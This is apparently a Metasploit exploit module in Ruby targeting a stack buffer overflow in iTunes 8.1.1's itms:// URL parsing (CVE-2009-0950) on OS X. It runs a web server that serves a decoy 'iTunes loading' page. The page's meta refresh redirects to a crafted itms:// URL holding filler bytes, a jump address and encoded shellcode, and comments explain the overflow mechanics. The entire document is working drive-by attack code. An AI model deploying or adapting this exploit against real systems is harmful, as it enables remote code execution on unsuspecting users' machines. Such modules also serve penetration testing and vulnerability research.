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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  # no popup required to visit itms:// URLs in Safari, so throw it in BAP
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  #include Msf::Exploit::Remote::BrowserAutopwn
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  #autopwn_info({
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  #  :ua_name    => HttpClients::SAFARI,
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  #  :ua_maxver  => "4.1",
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  #  :ua_minver  => "4.0.5",
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  #  :javascript => false,
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  #  :rank       => NormalRanking,
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  #  :os_name => OperatingSystems::MAC_OSX
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  #})
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
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      'Description'    => %q{
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          This modules exploits a stack-based buffer overflow in iTunes
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        itms:// URL parsing.  It is accessible from the browser and
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        in Safari, itms urls will be opened in iTunes automatically.
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        Because iTunes is multithreaded, only vfork-based payloads should
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        be used.
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      },
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      'Author'         => [ 'Will Drewry <redpig[at]dataspill.org>' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2009-0950' ],
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          [ 'OSVDB', '54833' ],
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          [ 'URL', 'http://support.apple.com/kb/HT3592' ],
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          [ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]
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        ],
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      'Payload'        =>
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        {
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          'Space'       => 1024,  # rough estimate of what browsers will pass.
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          'DisableNops' => true,  # don't pad out the space.
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          'BadChars' => '',
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          # The encoder must be URL-safe otherwise it will be automatically
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          # URL encoded.
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          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
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          'EncoderOptions' =>
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            {
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              'BufferRegister' => 'ECX',  # See the comments below
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              'BufferOffset' => 3,  # See the comments below
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            },
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        },
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      'Platform'      => %w{ osx },
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      'Targets'	=>
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        [
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          [
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            'OS X',
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            {
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              'Platform'      => [ 'osx' ],
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              'Arch'          => ARCH_X86,
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              'Addr'          => 'ATe'
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            },
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          ]
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        ],
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      'DisclosureDate' => '2009-06-01',
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      'DefaultTarget'  => 0))
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  end
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  # Generate distribution script, which calls our payload using JavaScript.
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  def generate_itms_page(p)
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    # Set the base itms url.
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    # itms:// or itmss:// can be used.  The trailing colon is used
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    # to start the attack.  All data after the colon is copied to the
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    # stack buffer.
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    itms_base_url = "itms://:"
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    itms_base_url << rand_text_alpha(268)  # Fill up the real buffer
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    itms_base_url << rand_text_alpha(16)   # $ebx, $esi, $edi, $ebp
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    itms_base_url << target['Addr']  # hullo there, jmp *%ecx!
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    # The first '/' in the buffer will terminate the copy to the stack buffer.
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    # In addition, $ecx will be left pointing to the last 6 bytes of the heap
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    # buffer containing the full URL.  However, if a colon and a ? occur after
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    # the value in ecx will point to that point in the heap buffer.  In our
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    # case, it will point to the beginning.  The ! is there to make the
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    # alphanumeric shellcode execute easily.  (This is why we need an offset
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    # of 3 in the payload).
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    itms_base_url << "/:!?"   # Truncate the stack buffer overflow and prep for payload
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    itms_base_url << p # Wooooooo! Payload time.
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    # We drop on a few extra bytes as the last few bytes can sometimes be
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    # corrupted.
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    itms_base_url << rand_text_alpha(4)
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    # Use the pattern creator to simplify exploit creation :)
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    # itms_base_url << Rex::Text.pattern_create(1024,
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    #                                           Rex::Text::DefaultPatternSets)
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    # Return back an example URL.  Using an iframe doesn't work with all
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    # browsers, but that's easy enough to fix if you need to.
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    return String(<<-EOS)
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<html>
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<head>
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<title>iTunes loading . . .</title>
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<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">
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</head>
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<body>
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<p>iTunes should open automatically, but if it doesn't, click to
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<a href="#{itms_base_url}">continue</a>.</p>
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</body>
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</html>
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EOS
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  end
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  def on_request_uri(cli, request)
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    print_status("Generating payload...")
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    return unless (p = regenerate_payload(cli))
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    #print_status("=> #{payload.encoded}")
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    print_status("=> #{payload.encoded.length} bytes")
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    print_status("Generating HTML container...")
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    page = generate_itms_page(payload.encoded)
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    #print_status("=> #{page}")
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    print_status("Sending itms page")
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    header = { 'Content-Type' => 'text/html' }
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    send_response_html(cli, page, header)
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    handler(cli)
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  end
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end
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